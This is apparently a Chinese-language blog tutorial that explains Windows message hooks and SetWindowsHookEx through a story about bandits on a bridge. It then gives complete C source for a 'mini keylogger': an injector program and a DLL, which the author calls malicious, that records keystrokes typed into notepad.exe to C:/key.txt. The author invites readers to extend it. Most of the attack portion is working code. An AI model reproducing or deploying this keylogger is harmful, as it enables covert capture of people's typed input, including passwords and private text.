HOOK(钩子)技术到底好不好?读者心中自有评论,好与坏都不是我们讨论的对象,我们只管学会它就够了。
可能大家看一些教程的时候,信心满满的你却被那些大堆大堆专业术语拒之门外,今天你会很快乐的学会这门技术或者说是艺术,为什么会快乐的学会呢?因为我给你讲故事呀,故事大家都爱听,听完故事居然还能学会HOOK这么神奇的技术,你信吗?信与不信就在三五分钟的故事之间,来吧!
区域B即为应用程序消息队列
桥即为消息的分配(GetMessage()、PeekMessage()… )
告示即为钩链
土匪即为你编写的HOOK程序
再详细的讲讲,正常情况下,操作系统会把消息传递到相应的应用程序队列,然后应用程序通过相应的API去取消息并交由窗口过程进行相应的处理,记住:这只是太平天下的理想状态换句话说这只是乌托邦。但是,会有这样安稳的社会吗?没有,土匪什么时候都有。好了,现在问题来了,windows操作系统为了进行更多的拦截操作,设计了HOOK链即钩链,他的作用就是截获操作系统分发给应用程序的消息,对于感兴趣的消息进行处理,不感兴趣的消息正常放行,HOOK链是系统维护的,就相当于告示这张纸一样,土匪头子在告示上画下了所要抓的人的头像,当然你也要告诉系统你想拦截哪些消息。SetWindowsHookEx这个API就是向系统HOOK链添加截获的消息类型,以对这些消息进行拦截。
下面为大家总结一些HOOK编程的框架,就是这么牛逼,连框架都有,嘿嘿。
SHAPE \* MERGEFORMAT
打针程序主要是SetWindowsHOOKEX()的调用
自己编写的恶意HOOKProc.dll文件
运行打针程序(之所以称它为打针程序,是因为这个程序会让操作系统强制把HOOKProc.dll映射到目标进程的地址空间,那是高级话题了,在注入那边会有讲),则钩子程序就安装好了,其实质就是向钩链添加了一条记录而已,相关注入细节全部由操作系统代劳。
给大家举个例子吧,迷你键盘记录器,之所以称为迷你,是因为这个程序只实现的简单的ASCII记录。原理懂了,你还不会拓展吗?
源代码如下:
打针程序:
#include <windows.h>
#include <stdio.h>
_declspec(dllimport) LRESULT CALLBACK KeyProc( int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam );
_declspec(dllimport) HMODULE g_hMdl;
_declspec(dllimport) HHOOK g_hHook;
FARPROC fnHookStart = NULL;
FARPROC fnHookStop = NULL;
typedef void (* HookStart)();
typedef void (* HookStop)();
int main()
{
printf("开始钩取键盘输入:\n");
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyProc, g_hMdl, 0);
printf("\n输入'q'停止钩取\n");
while(getchar() != 'q');
if(g_hMdl)
{
UnhookWindowsHook(WH_KEYBOARD, KeyProc);
g_hMdl = NULL;
}
return 0;
}
HookProc.dll程序如下:
#include <windows.h>
#include <stdio.h>
_declspec(dllexport) HMODULE g_hMdl = NULL ;
_declspec(dllexport) HHOOK g_hHook = NULL;
FILE *fp = NULL;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, // handle to the DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpvReserved) // reserved
{
switch( fdwReason)
{
case DLL_PROCESS_ATTACH:
g_hMdl = hinstDLL;
break ;
case DLL_PROCESS_DETACH:
break;
}
return 1;
}
_declspec(dllexport) LRESULT CALLBACK KeyProc( int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam ) // keystroke-message information
{
char strBuf[MAX_PATH] = {0};
char *p = NULL;
if( code >= 0)
{
if(!(lParam & 0x80000000))
{
GetModuleFileName(NULL, strBuf, sizeof(strBuf));
p = strrchr(strBuf , '\\');
if (!stricmp("notepad.exe", p+1))
{
fp = fopen("C:/key.txt","a+");
if(GetKeyState (VK_SHIFT) > 0) //shift键盘没按下
{
if( wParam >= 'A' && wParam <= 'Z')
wParam += 32;
}
fputc(wParam,fp);
fclose(fp);
return 1;
}
}
}
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
与动态链接库相关的知识我就不讲了,那个自己看看就会了,有任何问题的都可以问我。既可以在文章下面留言也可以加QQ969722243